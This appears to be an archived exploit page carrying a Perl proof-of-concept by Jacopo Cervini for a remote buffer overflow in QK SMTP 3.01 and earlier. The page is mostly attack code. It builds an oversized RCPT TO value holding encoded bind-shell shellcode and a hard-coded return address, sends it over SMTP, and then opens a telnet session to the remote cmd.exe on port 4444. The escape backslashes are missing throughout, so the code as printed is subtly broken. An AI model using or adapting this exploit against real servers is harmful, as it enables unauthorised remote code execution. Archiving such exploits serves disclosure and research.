[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : QK SMTP <= 3.01 (RCPT TO) Remote Buffer Overflow Exploit (pl)
# Published : 2007-01-01
# Author : Jacopo Cervini
# Previous Title : Apple Quicktime (rtsp URL Handler) Stack Buffer Overflow Exploit
# Next Title : WinZIP 10.0 FileView ActiveX Controls Remote Overflow Exploit


#!/bin/perl
#
#http://www.securityfocus.com/bid/20681
#
#	tested on winXp Pro SP0 English/winXp Pro SP2 Italian/win 2k SP4 Italian/English return address is universal
# bind a remote cmd.exe on target host on 4444 port; based on expanders original exploit
# credit to Greg Linares for discovered the vulnerability
# thanks to hdm and vlads902 for original shellcode;encoded using Skylined alpha2 tool
# Jacopo Cervini aka acaro [at] jervus.it


if (@ARGV < 1) {
print "--------------------------------------------------------------------n";
print "Usage : qksmtp-rcpt-overflow-4444.pl TargetIPAddress n";
print " Example : ./qksmtp-rcpt-overflow-4444.pl 127.0.0.1 n";
print "--------------------------------------------------------------------n";
}



use IO::Socket::INET;

my $host = shift(@ARGV);
my $port = 25;
my $reply;
my $request;
#my $eip="x43x43x43x43";	

my $eip="x8fx29x46x00";	#call esp in QKSmtpServer3.exe



$sc=
"PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZ".
"BABABABABkMAGB9u4JBYlQZjKNmiXkIyokOkOOptKplmTo4RkQ5oL2kCLm5PxkQJORkPOLX4KOoKpIqjKOYtKP4DKkQZNp1upryVLqtWP".
"44LGWQgZjmjaXBJKL4MkntktnHt5IURkqOnDkQzKqVRkLLNkRkQOMLM1xkm3NLTKQyBLO4mLoqy3lqIK34rkmsLptKQ0LL4KppmL4mdKM".
"pKXOnaX4N0NLNjLNpKOz6ovOcRFOxlsOBphSGRSoBaOOdkOXPRH8KjMKLOKpPkO6vQOTIXeOve1JMm8JbnuqZKRkOHPbH7izizUvMPWYo".
"6vnsOcQCb3PSMsNsOSNskOfp1VqXLQ1LrFnsu99QTUQXTdMJ2PewqGkOVvqZZpnqPUkOXPph3tTmNNZINwKO6vns0UKO6pOxIUoYBfa9r".
"7Yo6vb00TOdR5YoHP3cRHgwRYGVbYnwkOJ6OeyoJ0s60j1T36OxqSrMU9jEozPPPYNIxLQyzGrJmtriYRnQGPZSdjkNORlmynMrnL63Bm".
"PznXvKFKVKqXPrKNvSMFyoD5Mtyo6vqKPWPRPQoaNqbJkQpQpQoepQKOfpOxtmz9m58NNsiovv2JYoyoLw9oVpDK27ilqsvds4KOWfpRk".
"OvpOxhp1zitOonsKOyFKO6pA";


$jmpback = "x50x73".
"x54x73".
"x58x73".
"xb0".
"x48x73".
"xb0x48x73".
"xb0x48x73".
"xb0x48x73".
"xb0x48x73".
"xb0x48x73".
"xb0x48x73".
"xb0x48x73".
"xb0x48x73".
"xb0x48x73".
"xb0x48x73".
"xb0x48x73".
"xb0x48x73".
"x40x73".
"x40x73".
"x40x73".
"x40x73".
"x40x73".
"x40x73".
"x40x73".
"x50x73".
"xc3x73";

my $buffer =("x41"x296).$eip.("x73"x2228).$sc.("x45"x820).$jmpback."x00";



my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!n";

recv($socket, $reply, 1024, 0);
print "Response:" . $reply;


$request = "helo acaro" . "rn";
send $socket, $request, 0;
print "[+] Sent helo requestn";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
sleep(1);

$request = "mail from: acaro@peaceandlove.peace" . "rn";
send $socket, $request, 0;
print "[+] Sent mail from requestn";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
sleep(1);

$request = "rcpt to: " . $buffer . "rn";
send $socket, $request, 0;
print "[+] Sent rcpt to requestn";



print " + connect on 4444 port of $host ...n";
sleep(3);
system("telnet $host 4444");
exit;

# www.Syue.com [2007-01-01]